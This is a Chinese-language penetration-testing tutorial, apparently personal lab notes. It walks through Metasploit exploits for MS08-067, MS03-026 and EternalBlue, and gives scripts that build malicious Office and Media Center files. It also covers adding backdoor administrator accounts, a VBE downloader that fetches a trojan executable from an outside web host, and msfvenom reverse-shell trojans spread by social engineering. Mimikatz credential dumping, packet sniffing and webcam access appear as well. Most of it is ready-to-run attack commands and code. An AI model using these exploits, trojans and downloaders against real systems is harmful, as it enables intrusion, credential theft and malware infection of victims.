本篇讲常见漏洞的使用.
1.漏洞利用
1.1 ms08_067(CVE-2008-4250)入侵WinXP-SP3
互相ping通网络;关闭防火墙
1 测试环境
LHOST(攻击机): Win7-安装Metasploit环境
RHOST(目标机): WinXP-SP3-本次测试用的虚拟机环境
2 攻击过程
2.1配置网络环境,确定攻击机与目标机处于同一网络环境,可互相Ping 通.
(1)设置xp机为桥接模式.
(2)查找攻击机与目标机IP.
cmd-> ipconfig
(3)测试网络通畅,能互相PING通
cmd-> ping 对方ip
(4)攻击机安装Metasploit环境
(5)关闭防火墙
下载并安装
2.2开始入侵
(1)启动metasploit
运行msfconsole.bat,第一次启动会比较慢.
(2)查找要利用的漏洞信息
msf > search ms08_067
(3)使用ms08_067_netapi渗透模块
msf > use exploit/windows/smb/ms08_067_netapi
(4)查看可用的攻击载荷
msf exploit(ms08_067_netapi) > show payloads
(5)选择攻击载荷
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
(6)查看需要设置的参数
msf exploit(ms08_067_netapi) >show options
(7)设置渗透参数并确认
msf exploit(ms08_067_netapi) >set LHOST 192.168.1.89
msf exploit(ms08_067_netapi) >set RHOST 192.168.1.235
msf exploit(ms08_067_netapi) >show options
(8)开入渗透
msf exploit(ms08_067_netapi) >exploit
2.3启动目标机calc
meterpreter > execute -f calc.exe
1.2 利用ms03_026(CVE-2003-0352)入侵WinXP-SP1
1 测试环境
LHOST(攻击机): Win7-安装Metasploit环境
RHOST(目标机): WinXP-SP1-本次测试用的虚拟机环境
2 攻击过程
2.1配置网络环境(同上)
2.2开始入侵
(1)启动metasploit
(2)查找要利用的漏洞信息
msf > search ms03_026
(3)使用ms03_026_dcom渗透模块
msf > use exploit/windows/dcerpc/ms03_026_dcom
(4)查看可用的攻击载荷
msf exploit(ms03_026_dcom) > show payloads
(5)选择攻击载荷
msf exploit(ms03_026_dcom) > set payload windows/meterpreter/bind_tcp
(6)查看需要设置的参数
msf exploit(ms03_026_dcom) >show options
(7)设置渗透参数并确认
msf exploit(ms03_026_dcom) >set LHOST 192.168.1.89
msf exploit(ms03_026_dcom) >set RHOST 192.168.1.228
msf exploit(ms03_026_dcom) >show options
(8)开入渗透
msf exploit(ms03_026_dcom) >exploit
(9)迁移会话
meterpreter >ps
找到exeplorer的进程ID
meterpreter > migrate 1388
2.3启动目标机calc
meterpreter > execute -f calc.exe
1.3 利用ms17_010(CVE-2017-0143)入侵Win7
1 测试环境
LHOST(攻击机): Win7-安装Metasploit环境
RHOST(目标机): Win7 -本次测试用的虚拟机环境
2 攻击过程
2.1配置网络环境(同上)
2.2开始入侵
(1)启动metasploit
(2)查找要利用的漏洞信息
msf > search ms17_010
(3)使用windows/smb/ms17_010_eternalblue渗透模块
msf > use exploit/windows/smb/ms17_010_eternalblue
(4)查看可用的攻击载荷
msf exploit(ms17_010_eternalblue) > show payloads
(5)选择攻击载荷
msf exploit(ms17_010_eternalblue) > set payload generic/shell_reverse_tcp
(6)查看需要设置的参数
msf exploit(ms17_010_eternalblue) >show options
(7)设置渗透参数并确认
msf exploit(ms17_010_eternalblue) >set LHOST 192.168.1.217
msf exploit(ms17_010_eternalblue) >set RHOST 192.168.1.205
msf exploit(ms17_010_eternalblue) >show options
(8)开入渗透
msf exploit(ms17_010_eternalblue) >exploit
1.4 利用ms12-027(CVE-2012-0158)生成可利用文档
1 测试环境
LHOST(攻击机): Win7-安装metasploit环境
RHOST(目标机): Win7 /XPSP3 (Office 2007)
2 攻击过程
(1)启动metasploit
(2)查找要利用的漏洞信息
msf > search ms12_027
(3)使用windows/fileformat/ms12_027_mscomctl_bof渗透模块
msf > use windows/fileformat/ms12_027_mscomctl_bof
(4)查看可用的攻击载荷
msf exploit(windows/fileformat/ms12_027_mscomctl_bof) > show payloads
(5)选择攻击载荷
msf exploit(windows/fileformat/ms12_027_mscomctl_bof) > set payload windows/exec
(6)查看需要设置的参数
msf exploit(windows/fileformat/ms12_027_mscomctl_bof) >show options
(7)设置渗透参数并确认
msf exploit(windows/fileformat/ms12_027_mscomctl_bof) >set cmd calc.exe
msf exploit(windows/fileformat/ms12_027_mscomctl_bof) >set EXITFUNC thread
msf exploit(windows/fileformat/ms12_027_mscomctl_bof) >show options
(8)开入渗透
msf exploit(windows/fileformat/ms12_027_mscomctl_bof) >exploit
2.2打开calc.exe
在目标机器打开文档时会打开calc.exe
1.5 利用 cve-2017-11882生成可利用文档
1 测试环境
LHOST(攻击机): Win7-安装python2.7环境
RHOST(目标机): Win7-x64(Office 2007/2010)
2 攻击过程
2.1生成可利用test.doc文档
pyhton2 Command43b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
2.2打开calc.exe
在目标机器打开test文档时会打开calc.exe
1.6 Office-DDE利用
# -*- coding: utf-8 -*-
from docx import Document
from docx.oxml import parse_xml
from docx.oxml.ns import nsdecls
import argparse
'''
需要安装 pip3 install python-docx
'''
document = Document()
paragraph = document.add_paragraph()
p = paragraph._p
fld_xml = '<w:fldSimple %s w:instr=" DDEAUTO c:\\\\windows\\\\system32\\\\cmd.exe "/k calc.exe"IEX \$e"/>'
fld_xml = fld_xml % nsdecls('w')
fldSimple = parse_xml(fld_xml)
p.addnext(fldSimple)
document.save('cve_2017_11826.docx')
-----------------------------------------
利用上述脚本生成可利用文件
python CVE-2017-11826.py
1.7 CVE-2015-2509多媒体文件mcl
#!/usr/bin/python
# Title: MS15-100 Windows Media Center Command Execution
# Date : 11/09/2015
# Author: R-73eN
# Software: Windows Media Center
# Tested : Windows 7 Ultimate
# CVE : 2015-2509
print('begin to construct the file...')
command = "calc.exe"
evil = '<application run="' + command + '"/>'
f = open("CVE_2015_2509_Music.mcl","w")
f.write(evil)
f.close()
print("\n[+] Music.mcl generated . . . [+]")
-----------------------------------------
利用上述脚本生成可利用文件
python CVE-2015-2509.py
1.8 windows环境利用ms08-067
(1)用x-scan扫描:寻找含有Ms08-067溢出漏洞的电脑主机.
(2)与受害主机建立空连接 net use \\192.168.1.101\ipc$
(3)Ms08-067.exe 192.168.1.101 -->结果为SMB connect ok! Sendpayloadover!
(4)远程登录: telnet 192.168.48.148 4444
(5)远程主机任意添加自己的后门账号(管理员)
查看账户 : net user
创建用户 : net user ahoo 123456 /add
不设密码 : net user ahoo /add
加入管理员组: net localgroup administrators ahoo /add
-5.1远程桌面连接:
因为我已经打开了3389,直接mstsc /admin登录.
(6)将木马上传到远程主机----或者创建计划任务(powershell)--或tasklist >c:\1.txt .找到之前的vbs木马传一个.
这里继续在远程主机输入命令,其建立脚本文件的命令如下:
echo iLocal=Lcase(wscript.arguments(1))>wenpeng.vbe
echo iremote=Lcase(wscript.arguments(0))>>wenpeng.vbe
echo setxpost=createobject(“microsoft.xmlhttp”)>>wenpeng.vbe
echo xpost.open“Get”,iremote,0>>wenpeng.vbe
echo xpost.send()>>wenpeng.vbe
echo set sget=Createobject(“adodb.stream”)>>wenpeng.vbe
echo sget.mode=3>>wenpeng.vbe
echo sget.type=1>>wenpeng.vbe
echo sget.open()>>wenpeng.vbe
echo sget.write(xpost.responsebody)>>wenpeng.vbe
echo sget.savetofileilocal,2>>wenpeng.vbe
在远程主机的当前目录下建立1个wenpeng.vbe的脚本.
将木马传到web地址(git).
执行远程下载命名:
wcscript wenpeng.vbe http://www.show33.com:88/muma.exe wenpeng.exe
2.Msf学习
2.1 Meterpreter功能
(1)开启摄像头
meterpreter > webcam_scream ;前提是有摄像头.
(2)开启远程桌面
meterpreter > run post/windows/manage/enable_rdp
2. 此命令可以帮我们一建开启远程桌面,并帮我们关闭防火墙,真的牛xxx.
注:一开始使用命令 run getgui -u admin -p passw0rd 没能开启远程RDP桌面,后来才查询到上面这个攻击脚本。当然并不是说,就不能用哦。
(3)获取密码
meterpreter > load mimikatz ;加载mimikatz模块
meterpreter > wdigest ;使用命令wdigest获取密码
(4)远程连接
root@kali:~# > rdesktop 192.168.48.148 -u Administrator -p 123456
(5)upload命令
上传文件到目标主机,例如把后门程序setup.exe传到目标主机system32目录下
upload setup.exe C:\\windows\\system32\
(6)download命令
把目标主机上的文件下载到我们的攻击主机上
例如:把目标主机C盘根目录下的boot.ini文件下载到攻击主机的/root/目录下
download C:\\boot.ini /root/ ;文件比较大会比较慢,得等几分钟.
2.2 利用木马获取shell(上面是利用漏洞,这下用木马,参考教务管理系统的文章).
(1)生成木马(文件在screenshot同目录):
msf > msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.48.143 LPORT=4444 -f exe > ahoo.exe
(2)社工办法让感染上木马.
用ahoo.exe放在不同的主机(kali[192.168.48.143]同网段,WinXPenSP3[192.168.48.148],WindowsXPProfessional[192.168.48.136],Windows7_x86_ahoo[]192.168.48.149)
(3)在Metasploit设置监听:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > show options
msf exploit(handler) > set LHOST 192.168.48.143
msf exploit(handler) > exploit ;不输入这个没看到啥反应.
(4)嗅探,捕获目标主机数据包,前提是【连接成功(在目标点击ahoo.exe)】:
meterpreter > use sniffer
meterpreter > help
meterpreter > sniffer_interfaces ;判断数据包是从哪个网络接口出去的
meterpreter > sniffer_start 1 ;在接口1上抓包
(5)等别人网络操作
meterpreter > sniffer_stop 1 ;停止抓包
meterpreter > sniffer_dump 1 localfile ;下载抓到的包
meterpreter > shutdown ;关机
(6)wireshark 查看数据包:
root@kali:~# wireshark ahoo.pcap
2.3 Nmap扫描
利用ms08_067_netapi之前我们是不知道他存在这个漏洞的我们需要使用nmap扫出来.
root@kali:~# nmap --script=vuln 192.168.48.148
Host script results:
smb-vuln-cve2009-3103.
smb-vuln-ms08-067:
smb-vuln-ms10-054:false
smb-vuln-ms10-061:ERROR:Script execution failed (use -d to debug)
root@kali:~# nmap --script=auth 192.168.48.148
cmd打开端口: netstat -an
TCP 192.168.48.148:1234 192.168.48.143:4444 CLOSE_WAIT
nmap 192.168.1.141 -p139,445 --script=smb-os-discovery.nse #用于发现smb协议的脚本
2.4 Nessus扫描
虽然自己在用,但安装过程还是参考网文吧.
3 Reference
[1] I Want to Use Metasploit on Windows
[2] windows版—metasploit-framework-4.17.0+20180824145152.git.4.ddb11aa-1rapid7-1-x86.msi
[11]C++实现反向连接后门
[12]一个单通道后门代码
[13]功能 meterpreter会话渗透利用常用的32个命令
[14]METASPLOIT基础入门